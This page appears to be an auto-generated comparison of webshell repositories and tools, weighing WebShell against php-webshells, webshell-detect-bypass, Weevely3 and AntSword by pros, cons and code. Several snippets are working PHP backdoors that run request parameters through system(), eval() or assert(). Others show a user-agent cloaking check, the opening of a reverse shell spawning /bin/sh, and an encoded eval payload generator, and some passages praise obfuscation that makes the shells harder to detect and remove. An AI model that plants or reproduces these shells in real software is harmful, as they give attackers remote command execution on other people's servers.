Pros of webshell

• Larger collection of webshells in various languages
• More actively maintained with recent updates
• Includes additional tools and resources for webshell usage

Cons of webshell

• Less organized structure compared to WebShell
• May contain more potentially malicious or dangerous scripts
• Lacks detailed documentation for individual webshells

Code Comparison

WebShell (PHP example):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

webshell (PHP example):

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass'])) {
    $key=substr(md5(urldecode($_GET['pass'])),0,16);
    $_SESSION['k']=$key;
}
$key=$_SESSION['k'];
$pos=strpos($_SERVER['HTTP_USER_AGENT'],'Google');
if($pos===false){
    header("HTTP/1.0 404 Not Found");
    exit;
}

Both repositories contain collections of webshells, but webshell offers a wider variety and more recent updates. However, WebShell provides a more organized structure and potentially safer scripts. The code examples show different approaches, with WebShell focusing on simplicity and webshell incorporating more advanced features like session management and user agent checking.

Pros of php-webshells

• Focused specifically on PHP webshells, providing a more specialized collection
• Includes a variety of PHP-based webshells with different features and capabilities
• Regularly updated with new contributions and improvements

Cons of php-webshells

• Limited to PHP language, lacking diversity in supported technologies
• Smaller repository with fewer overall webshell options
• Less comprehensive documentation compared to WebShell

Code Comparison

php-webshells (simple-backdoor.php):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

WebShell (php/php-reverse-shell.php):

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Both repositories offer collections of webshells, with WebShell providing a broader range of languages and technologies. php-webshells focuses exclusively on PHP-based webshells, offering a more specialized but limited selection. WebShell includes more comprehensive documentation and a larger variety of options, while php-webshells benefits from regular updates and contributions specific to PHP webshells.

Pros of webshell-detect-bypass

• Focuses specifically on bypassing detection mechanisms
• Includes techniques for evading common web shell detection tools
• Regularly updated with new bypass methods

Cons of webshell-detect-bypass

• Smaller collection of web shells compared to WebShell
• Less diverse in terms of supported languages and frameworks
• More specialized, potentially less useful for general web shell research

Code Comparison

WebShell example (PHP):

<?php @eval($_POST['cmd']);?>

webshell-detect-bypass example (PHP):

<?php
$a = $_POST['cmd'];
@assert($a);
?>

The webshell-detect-bypass example uses assert() instead of eval() and splits the command input across multiple lines, potentially making it harder to detect.

Both repositories serve different purposes: WebShell is a comprehensive collection of various web shells, while webshell-detect-bypass focuses on techniques to evade detection. WebShell is more suitable for researchers and security professionals studying different types of web shells, whereas webshell-detect-bypass is geared towards understanding and improving detection evasion techniques.

Pros of Weevely3

• More actively maintained with recent updates
• Offers a wider range of features and modules
• Better documentation and user guides

Cons of Weevely3

• Larger codebase, potentially more complex to use
• Requires Python environment to run

Code Comparison

WebShell (PHP):

<?php @eval($_POST['pass']);?>

Weevely3 (Python-generated PHP):

<?php
$k="SECRET_KEY";
$kh="SECRET_KEY_HASH";
$kf="SECRET_KEY_FUNC";
$p="SECRET_PAYLOAD";
// ... (additional obfuscated code)
?>

Weevely3 generates more complex and obfuscated PHP code, making it harder to detect and remove. WebShell uses a simpler approach, which is easier to implement but also easier to identify.

Summary

Weevely3 offers a more comprehensive and actively maintained solution for web shell functionality, with better features and documentation. However, it requires a Python environment and has a more complex codebase. WebShell is simpler and easier to deploy but lacks advanced features and recent updates.

Pros of AntSword

• More actively maintained with regular updates
• Offers a user-friendly graphical interface
• Supports multiple languages and platforms

Cons of AntSword

• Larger codebase, potentially more complex to understand
• May have a steeper learning curve for beginners

Code Comparison

WebShell (PHP example):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

AntSword (JavaScript example):

module.exports = (pwd, cmd, args) => {
  return {
    _: `@eval(base64_decode("${Buffer.from(cmd).toString('base64')}"));`,
    [pwd]: args
  }
}

WebShell provides a simple, direct approach to executing commands, while AntSword uses a more sophisticated module-based structure with additional encoding. AntSword's code is part of a larger framework, offering more features and flexibility, but also increasing complexity. WebShell's simplicity makes it easier to understand and modify, but it lacks the advanced features and security measures present in AntSword.